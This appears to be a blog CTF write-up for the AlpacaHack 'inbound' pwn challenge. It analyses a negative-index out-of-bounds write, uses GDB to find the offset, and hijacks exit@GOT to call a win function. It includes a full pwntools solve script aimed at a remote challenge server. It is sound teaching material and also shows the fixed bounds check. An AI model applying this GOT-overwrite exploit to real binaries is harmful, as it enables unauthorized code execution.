siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

inbound

Table of Contents

Overview

Background

inside-of-bounds

Enumeration

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound)-[2024.11.04|11:52:43(HKT)]
└> file inbound.tar.gz 
inbound.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 30720
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound)-[2024.11.04|11:52:45(HKT)]
└> tar xvfz inbound.tar.gz 
inbound/
inbound/inbound
inbound/Dockerfile
inbound/main.c
inbound/compose.yml

inbound/inbound:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound)-[2024.11.04|11:53:18(HKT)]
└> cd inbound 
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:53:20(HKT)]
└> file inbound 
inbound: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9e9920e6eb161f0ee40de853d38ffad7488f06e7, for GNU/Linux 3.2.0, not stripped

As we can see, this inbound binary is an ELF 64-bit executable.

Memory protection:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:53:22(HKT)]
└> pwn checksec ./inbound 
[...]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Let’s try to run it!

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:54:28(HKT)]
└> ./inbound     
index: 

In here, we can enter an index number. Let’s try 1:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:54:28(HKT)]
└> ./inbound     
index: 1
value: 

Then, we can enter a value for this index number:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|11:54:28(HKT)]
└> ./inbound     
index: 1
value: 1337
slot[0] = 0
slot[1] = 1337
slot[2] = 0
slot[3] = 0
slot[4] = 0
slot[5] = 0
slot[6] = 0
slot[7] = 0
slot[8] = 0
slot[9] = 0

After that, it’ll display the updated slot array’s values.

Now we have a high-level overview of this binary, let’s read its source code, main.c!

First off, we can see that there’s a function called win, which executes OS command /bin/cat /flag.txt:

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

With that said, we need to somehow call this function.

Function main:

int slot[10];
[...]
int main() {
  int index, value;
  [...]
  printf("index: ");
  scanf("%d", &index);
  if (index >= 10) {
    puts("[-] out-of-bounds");
    exit(1);
  }

  printf("value: ");
  scanf("%d", &value);

  slot[index] = value;

  for (int i = 0; i < 10; i++)
    printf("slot[%d] = %d\n", i, slot[i]);

  exit(0);
}

In this function, it first checks whether the index is greater or equals to 10 or not. If it is, the function prints out “[-] out-of-bounds” and exit the program.

If the index number is not out-of-bounds, slot[index]’s value will be updated to our provided value and exit the program.

Hmm… Although the index number did restrict to positive 10, it did not check for negative number, thus it’s vulnerable to out-of-bounds write.

The correct validation should be like this:

scanf("%d", &index);
if (index < 0 || index >= 10) {
  puts("[-] out-of-bounds");
  exit(1);
}

To have a better understanding in this vulnerability, we can use GDB to debug the binary:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|12:13:07(HKT)]
└> gdb ./inbound     
[...]
gef➤  

Note: I’m using GEF plugin.

To start debugging, we need to set a breakpoint. To do so, we can set it at function main + 268, which is right before the last printf function call:

gef  disassemble main 
Dump of assembler code for function main:
[...]
   0x000000000040133d <+268>:	mov    eax,0x0
   0x0000000000401342 <+273>:	call   0x4010b0 <printf@plt>
   [...]
gef  b *main+268
Breakpoint 1 at 0x40133d

Now, let’s run the program until we hit the breakpoint:

gef➤  r
[...]
index: 0
value: 1337

Breakpoint 1, 0x000000000040133d in main ()
[...]

In here, we can find the slot’s memory content!

Since slot is a global variable, we can use command info variables slot to find the slot global variable’s memory address:

gef➤  info variables slot
[...]
0x0000000000404060  slot

Next, we can use the x command to view a memory address’s content:

gef➤  x/6gx 0x0000000000404060
0x404060 <slot>:	0x0000000000000539	0x0000000000000000
0x404070 <slot+16>:	0x0000000000000000	0x0000000000000000
0x404080 <slot+32>:	0x0000000000000000	0x0000000000000000

As we can see, address 0x404060 has content 0x539, which is 1337 in decimal.

Now, let’s try index number -1 and see what will happen:

gef➤  r
[...]
index: -1
value: 1337

Breakpoint 1, 0x000000000040133d in main ()
[...]
gef➤  x/6gx 0x0000000000404060
0x404060 <slot>:	0x0000000000000000	0x0000000000000000
0x404070 <slot+16>:	0x0000000000000000	0x0000000000000000
0x404080 <slot+32>:	0x0000000000000000	0x0000000000000000

Oh, it’s not in the slot memory address! It’s now in address 0x404050!

gef➤  x/-6gx 0x0000000000404060
0x404030:	0x0000000000000000	0x0000000000000000
0x404040 <stdout@GLIBC_2.2.5>:	0x00007ffff7f94760	0x0000000000000000
0x404050 <stdin@GLIBC_2.2.5>:	0x00007ffff7f93a80	0x0000053900000000

Exploitation

Hmm… Now we can leverage the out-of-bounds write vulnerable to overwrite an address’s value. But where should we overwrite to?

Since the binary doesn’t have GOT protection (Partial RELRO), we can try to hijack a GOT function to the win function address. In the debugging session, we can enter got command to see all the GOT functions:

gef➤  got
[...]
GOT protection: Partial RelRO | GOT functions: 6
 
[0x404000] puts@GLIBC_2.2.5  →  0x401030
[0x404008] setbuf@GLIBC_2.2.5  →  0x7ffff7e3f2c0
[0x404010] printf@GLIBC_2.2.5  →  0x7ffff7e135b0
[0x404018] execve@GLIBC_2.2.5  →  0x401060
[0x404020] __isoc99_scanf@GLIBC_2.7  →  0x7ffff7e13150
[0x404028] exit@GLIBC_2.2.5  →  0x401080

Now you might ask: “Which GOT function should we hijack?”

Because the main function only executes once, we have to hijack functions that are going to be used right after the out-of-bounds write operation, which are printf and exit:

int main() {
  [...]
  slot[index] = value;

  for (int i = 0; i < 10; i++)
    printf("slot[%d] = %d\n", i, slot[i]);

  exit(0);
}

Hmm… Hijack printf GOT function? If we look at the value of its’ address, it is 6 bytes long:

gef➤  got
[...]
[0x404010] printf@GLIBC_2.2.5  →  0x7ffff7e135b0

Let’s try to hijack it.

To calculate the offset between slot and GOT function printf address, we can do like (printf_got_address - slot_address) // 4:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|12:56:14(HKT)]
└> python3
[...]
>>> slot = 0x404060
>>> (0x404010 - slot) // 4
-20

Function win address in decimal:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|12:59:37(HKT)]
└> objdump -d inbound | grep 'win' 
00000000004011d6 <win>:
>>> 0x4011d6
4198870

Note: The reason why we’re using decimal value is that the scanf function will only format integer values.

gef➤  r
[...]
index: -20
value: 4198870

Breakpoint 1, 0x000000000040133d in main ()
[...]
gef➤  x/gx 0x404010
0x404010 <printf@got.plt>:	0x00007fff004011d6

As we can see, we can’t hijack GOT function printf. This is because the original value is 6 bytes long, but the win function address is 3 bytes only.

Ok, so we can only overwrite GOT function that only 3 bytes long.

If we check the GOT functions, exit does match to our condition:

gef➤  got
[...]
[0x404028] exit@GLIBC_2.2.5  →  0x401080

Nice! Let’s try to overwrite GOT function exit with the win function address!

Index offset:

>>> (0x404028 - slot) // 4
-14
gef➤  r
[...]
index: -14
value: 4198870

Breakpoint 1, 0x000000000040133d in main ()
[...]
gef➤  x/gx 0x404028
0x404028 <exit@got.plt>:	0x00000000004011d6
gef➤  c
Continuing.
slot[0] = 0
[...]
/bin/cat: /flag.txt: No such file or directory

Nice! It worked!

Armed with the above information, we can write a Python solve script to get the flag on the remote instance.

solve.py
#!/usr/bin/env python3
from pwn import *

binaryPath = './inbound'
elf = context.binary = ELF(binaryPath)
# p = process(binaryPath)
p = remote('34.170.146.252', 51979)

# gdbScript = '''
# b *main+268
# '''
# gdb.attach(p, gdbscript=gdbScript)

# out-of-bounds write to hijack GOT function `exit` with function `win` address
EXIT_GOT = elf.got['exit']
WIN = elf.symbols['win']
SLOT = elf.symbols['slot']

offset = (EXIT_GOT - SLOT) // 4
log.success('exit@got address: %s', hex(EXIT_GOT))
log.success('slot symbol address: %s', hex(SLOT))
log.success('win symbol address: %s', hex(WIN))
log.success('Offset: %d', offset)

p.sendlineafter(b'index: ', str(offset).encode())
payload = str(WIN).encode()
p.sendlineafter(b'value: ', payload)
p.interactive()
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-6-(Pwn)/inbound/inbound)-[2024.11.04|13:11:45(HKT)]
└> python3 solve.py
[...]
[+] exit@got address: 0x404028
[+] slot symbol address: 0x404060
[+] win symbol address: 0x4011d6
[+] Offset: -14
[...]
Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}

Conclusion

What we’ve learned:

  1. Hijack GOT via out-of-bounds write